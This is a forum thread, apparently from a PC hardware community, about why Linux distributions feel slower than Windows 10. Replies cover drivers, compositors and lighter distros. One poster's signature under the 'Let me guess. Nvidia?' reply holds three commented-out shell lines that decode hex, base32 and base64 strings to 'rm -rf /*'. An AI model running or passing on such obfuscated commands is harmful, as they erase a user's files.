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Despite being leaner (right?), Linux (Ubuntu, Manjaro, Mint) feels way sluggier than Windows

idh1oi12jkl31jk2bgve3jk12b
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I was looking to replace Windows with a Linux Distro. 

Tried Ubuntu (so slow!), Mint (excellent!), Manjaro (good!) with different IDEs (Mate, Cinnamon, XFCE, Gnome). 

 

Despite this long and time consuming adventure, none of these felt as fluid and fast as Windows 10. 

 

I wonder if this is a known thing, or am I missing something?! Perhaps its a drivers issue, or compatibility with vendors (they invest more time into making their drivers better with Windows?). 

 

I was quite disappointed because I learned that Linux is way leaner and uses very few running processes. 

 

Thought I will share my experience.

 

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Most would say it's the other way round, but in any case "speed" is an objective, and very personal concept. If you believe Win-10 suits you better, then by all means keep using it.

 

No-one in the Linux community will hold that against you, at least for any reasonable time ;)

"You don't need eyes to see, you need vision"

 

(Faithless, 'Reverence' from the 1996 Reverence album)

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Then keep using Windows. 

 

I've found Linux to be snappier than every Windows release since the early 2000's. But then whenever I'm buying a new PC or laptop I've always had a quick Google first to make sure everything is Linux compatible. 

 

If you're finding it slow, you can always ask for help. You might be missing a driver or have a hardware incompatibility. 

Le PC: Gigiabyte Gaming 3, AMD 2700x, Yeston RX 550 4gb, Corsair 16gb, Corsair 450w PSU & Aerocool QS240 case. Linux, Elementary OS.

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Based on my venture into Linux I do not have the same issue as you.  Im very happy with the speed it provides on old laptops compared to Windows 10.  Have 10+ Toshiba's with first gen i5's and 1 with an i7 that I put Win 10 on to get a Senior Center up and having a Computer Lab for the old people (youtube, browse net, get resource help to sign up for stuff online at the center) and basically Win 10 was impossible (it booted, but muh god slow) - Linux brought these machines back to life.

Workstation Laptop: Dell Precision 7540, Xeon E-2276M, 32gb DDR4, Quadro T2000 GPU, 4k display

Wifes Rig: ASRock B550m Riptide, Ryzen 5 5600X, Sapphire Nitro+ RX 6700 XT, 16gb (2x8) 3600mhz V-Color Skywalker RAM, ARESGAME AGS 850w PSU, 1tb WD Black SN750, 500gb Crucial m.2, DIYPC MA01-G case

My Rig: ASRock B450m Pro4, Ryzen 5 3600, ARESGAME River 5 CPU cooler, EVGA RTX 2060 KO, 16gb (2x8) 3600mhz TeamGroup T-Force RAM, ARESGAME AGV750w PSU, 1tb WD Black SN750 NVMe Win 10 boot drive, 3tb Hitachi 7200 RPM HDD, Fractal Design Focus G Mini custom painted.  

NVIDIA GeForce RTX 2060 video card benchmark result - AMD Ryzen 5 3600,ASRock B450M Pro4 (3dmark.com)

Daughter 1 Rig: ASrock B450 Pro4, Ryzen 7 1700 @ 4.2ghz all core 1.4vCore, AMD R9 Fury X w/ Swiftech KOMODO waterblock, Custom Loop 2x240mm + 1x120mm radiators in push/pull 16gb (2x8) Patriot Viper CL14 2666mhz RAM, Corsair HX850 PSU, 250gb Samsun 960 EVO NVMe Win 10 boot drive, 500gb Samsung 840 EVO SSD, 512GB TeamGroup MP30 M.2 SATA III SSD, SuperTalent 512gb SATA III SSD, CoolerMaster HAF XM Case. 

https://www.3dmark.com/3dm/37004594?

Daughter 2 Rig: ASUS B350-PRIME ATX, Ryzen 7 1700, Sapphire Nitro+ R9 Fury Tri-X, 16gb (2x8) 3200mhz V-Color Skywalker, ANTEC Earthwatts 750w PSU, MasterLiquid Lite 120 AIO cooler in Push/Pull config as rear exhaust, 250gb Samsung 850 Evo SSD, Patriot Burst 240gb SSD, Cougar MX330-X Case

 

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Try Bodhi Linux.

 

Also try Clear Linux, it's Intel's own distro with binaries compiled with a specific compiler optimizations and instruction sets.  Performs very strongly in benchmarks vs Windows.

This post has been ninja-edited while you weren't looking.

 

I'm a used parts bottom feeder.  Your loss is my gain.

 

I like people who tell good RGB jokes.

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Let me guess. Nvidia? 

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
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1 hour ago, Sauron said:

Have you installed your gpu drivers?

I am using the Intel G4560 CPU which has built in GPU. So no GPU drivers needed, right?

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Wrong. You still need the Intel drivers package. Your package manager should be able to find it for you. And install it ;)

"You don't need eyes to see, you need vision"

 

(Faithless, 'Reverence' from the 1996 Reverence album)

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On 3/13/2020 at 11:01 PM, Dutch_Master said:

Wrong. You still need the Intel drivers package. Your package manager should be able to find it for you. And install it ;)

This isn't true - AMD and Intel GPU drivers are baked into the upstream kernel, with only Vulkan and mesa (3D acceleration drivers) drivers being packaged separately for these, which shouldn't be needed for a general desktop experience.

 

@OP :

What do you mean by "sluggier"? Do you mean program load times and such?

Desktop PC - Xeon E3 1231 V3, MSI Z97 PC Mate, 16GB RAM, PowerColor R9 390

OS - Fedora 32 (Desktop PC), elementaryOS (laptop)

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1 hour ago, inalone said:

This isn't true - AMD and Intel GPU drivers are baked into the upstream kernel, with only Vulkan and mesa (3D acceleration drivers) drivers being packaged separately for these, which shouldn't be needed for a general desktop experience.

Not quite. What's baked into the kernel are the open source drivers, reverse-engineered from scratch. This goes for nVidia (nouveau) and AMD Radeon, but as far as Intel is concerned, they do support the open source community drivers wholeheartedly so on that part you're right. AMD does support the open source drivers, but to a lesser extent then Intel as is my understanding of the matter. Perhaps it has changed in recent years, I can't tell as I haven't had the need to install drivers beyond the OS version (I don't use 3D intensive tasks, like gaming, so no need for these company-specific drivers)

"You don't need eyes to see, you need vision"

 

(Faithless, 'Reverence' from the 1996 Reverence album)

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On 3/11/2020 at 4:22 PM, idh1oi12jkl31jk2bgve3jk12b said:

I was looking to replace Windows with a Linux Distro. 

Tried Ubuntu (so slow!), Mint (excellent!), Manjaro (good!) with different IDEs (Mate, Cinnamon, XFCE, Gnome). 

 

Despite this long and time consuming adventure, none of these felt as fluid and fast as Windows 10. 

 

I wonder if this is a known thing, or am I missing something?! Perhaps its a drivers issue, or compatibility with vendors (they invest more time into making their drivers better with Windows?). 

 

I was quite disappointed because I learned that Linux is way leaner and uses very few running processes. 

 

Thought I will share my experience.

 

May I ask in which situations any of these distros do feel sluggish, and where/how exactly Windows does feel snappier?

It may be due to a few settings. Distros are usually build to run on any system so some settings that could cause troubles are set to very tolerant values. Some of the additional features of your igp may still be unused due to missing packages which are irrelevant for just running the system but do give a boost in certain circumstances; for example vaapi, vulkan and so on.

Since your using your igp you can check how much vram is given to it by the bios. It should be on auto usually.

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8 hours ago, Sir0Tek said:

May I ask in which situations any of these distros do feel sluggish, and where/how exactly Windows does feel snappier?

It may be due to a few settings. Distros are usually build to run on any system so some settings that could cause troubles are set to very tolerant values. Some of the additional features of your igp may still be unused due to missing packages which are irrelevant for just running the system but do give a boost in certain circumstances; for example vaapi, vulkan and so on.

Since your using your igp you can check how much vram is given to it by the bios. It should be on auto usually.

 

Thx. Been trying to put my finger on this as well. Perhaps I should try a slightly faster distro (Manjaro XFCE). I was asking myself if I am making the mistake of comparing smoothness/animations with speed. Perhaps there's that as well. I can say (after using for a bit) that the  official Ubuntu distro is for sure slower than anything else (Windows for sure but also Manjaro). My PC has no issue whatsoever with speed when it comes to Windows 10 regular use, so this isn't about having a slow PC, more I guess about refinement of the Ubuntu OS (it's the slowest I have tested). 

 

I am now trying out Manjaro and will report on that one as well once I make sure it's not a placebo affect/animation fallacy. Windows 10 has become quite refined and perhaps this contributes to the speediness of the system (everything flows). Reminds me a bit of the Android vs iOS issue - where in iOS everything seems to flow nicely (well, at least it used when I had it back in the day). 

 

 

 

PS (for anyone still reading) - so to conclude regarding the Drivers, a built in gpu (intel) does NOT require downloading and installing drivers, right? 

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33 minutes ago, idh1oi12jkl31jk2bgve3jk12b said:

PS (for anyone still reading) - so to conclude regarding the Drivers, a built in gpu (intel) does NOT require downloading and installing drivers, right? 

Yes. All hardware, no matter if it is integrated or not requires drivers to function correctly.

 

Most linux distros come with some form of hardware/driver management app for installing drivers. Not all distro's by default ship with latest drivers though they maybe a few releases behind. For that you either need to add third party repos that maintain the latest drivers or you have to go to the hardware manufacturers website and download/compile/install the latest driver yourself.

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11 hours ago, Dutch_Master said:

Not quite. What's baked into the kernel are the open source drivers, reverse-engineered from scratch. This goes for nVidia (nouveau) and AMD Radeon, but as far as Intel is concerned, they do support the open source community drivers wholeheartedly so on that part you're right. AMD does support the open source drivers, but to a lesser extent then Intel as is my understanding of the matter. Perhaps it has changed in recent years, I can't tell as I haven't had the need to install drivers beyond the OS version (I don't use 3D intensive tasks, like gaming, so no need for these company-specific drivers)

They aren't reverse engineered - in the case of AMD's and Intel's drivers they're written normally as drivers from AMD and Intel and arguably better than their Windows equivalents, the nouveau drivers are indeed reverse engineered but that's just because Nvidia refuse to support anything open source really (apart from releasing some GPU documentation a little bit back that didn't really help matters much).

AMD does support the open source drivers reallu well as far as I know, with each new GPU release having support usually in the latest kernel with great performance. There is a proprietary AMDGPU driver but that actually performs worse for gaming and is only really for professional applications iirc

Desktop PC - Xeon E3 1231 V3, MSI Z97 PC Mate, 16GB RAM, PowerColor R9 390

OS - Fedora 32 (Desktop PC), elementaryOS (laptop)

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Arch (Manjaro) also offers a great wiki, for Intel gpus you might find some useful information here: wiki.archlinux - The wiki also has information on how to tweak Firefox/Chrome, hardware-acceleration and countless others.

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On 3/14/2020 at 7:35 PM, Dutch_Master said:

Not quite. What's baked into the kernel are the open source drivers, reverse-engineered from scratch. This goes for nVidia (nouveau) and AMD Radeon, but as far as Intel is concerned, they do support the open source community drivers wholeheartedly so on that part you're right. AMD does support the open source drivers, but to a lesser extent then Intel as is my understanding of the matter. Perhaps it has changed in recent years, I can't tell as I haven't had the need to install drivers beyond the OS version (I don't use 3D intensive tasks, like gaming, so no need for these company-specific drivers)

Intel and AMD both submit to the kernel and mesa. Neither are reverse engineered.Once the initial work is done, the community takes over. Intel is however more active, but AMD probably gets the most community support.

Nvidia is however reverse engineered and that is why out of the box support is so horrid and why I have a hard time recommending a Nvidia Card to a Linux User. Everything in Linux also builds around Mesa and the open-source drivers, even compatibility with AMDGPU-PRO is shotty and it runs on top of the mesa stack. In AMD's defense however, they recommend consumers to use the default mesa stack and only recommend AMDGPU-PRO for workstation use.

 

On 3/11/2020 at 10:22 AM, idh1oi12jkl31jk2bgve3jk12b said:

I was looking to replace Windows with a Linux Distro. 

Tried Ubuntu (so slow!), Mint (excellent!), Manjaro (good!) with different IDEs (Mate, Cinnamon, XFCE, Gnome). 

 

Despite this long and time consuming adventure, none of these felt as fluid and fast as Windows 10. 

 

I wonder if this is a known thing, or am I missing something?! Perhaps its a drivers issue, or compatibility with vendors (they invest more time into making their drivers better with Windows?). 

 

I was quite disappointed because I learned that Linux is way leaner and uses very few running processes. 

 

Thought I will share my experience.

 

You could try Manjaro KDE and disable the Window Compositor. I have always found KDE to be quite snappy. I am temporarily back on Windows for Misc purposes, and Windows definitely feels slower on the same hardware.

 

On 3/11/2020 at 12:19 PM, idh1oi12jkl31jk2bgve3jk12b said:

I am using the Intel G4560 CPU which has built in GPU. So no GPU drivers needed, right?

Intel and AMD should have out of the box support assuming the Distro you are using is shipping with a kernel and mesa stack that is far enough up to date to support it. You shouldn't need to install anything extra.

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2 hours ago, Nayr438 said:

support is so horrid and why I have a hard time recommending a Nvidia Card to a Linux User.

How much things have changed.  I was a 100% full-time Linux desktop user 2006-2009, and back then Nvidia was basically the only game in town if you wanted a relatively feature-complete driver with decent 3D performance, not to mention the proprietary driver was easy to install and configure.  I've done builds specifically with Linux in mind back then with Nvidia GPUs being an important item for making it possible.  I've been on team green ever since .

 

I've used Linux in VMs for the last 10 years or so, so can't speak for the state of current graphics hardware support.

This post has been ninja-edited while you weren't looking.

 

I'm a used parts bottom feeder.  Your loss is my gain.

 

I like people who tell good RGB jokes.

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Try installing KDE (Kubuntu) then goto Settings > display > compositor and speed up animat

ions

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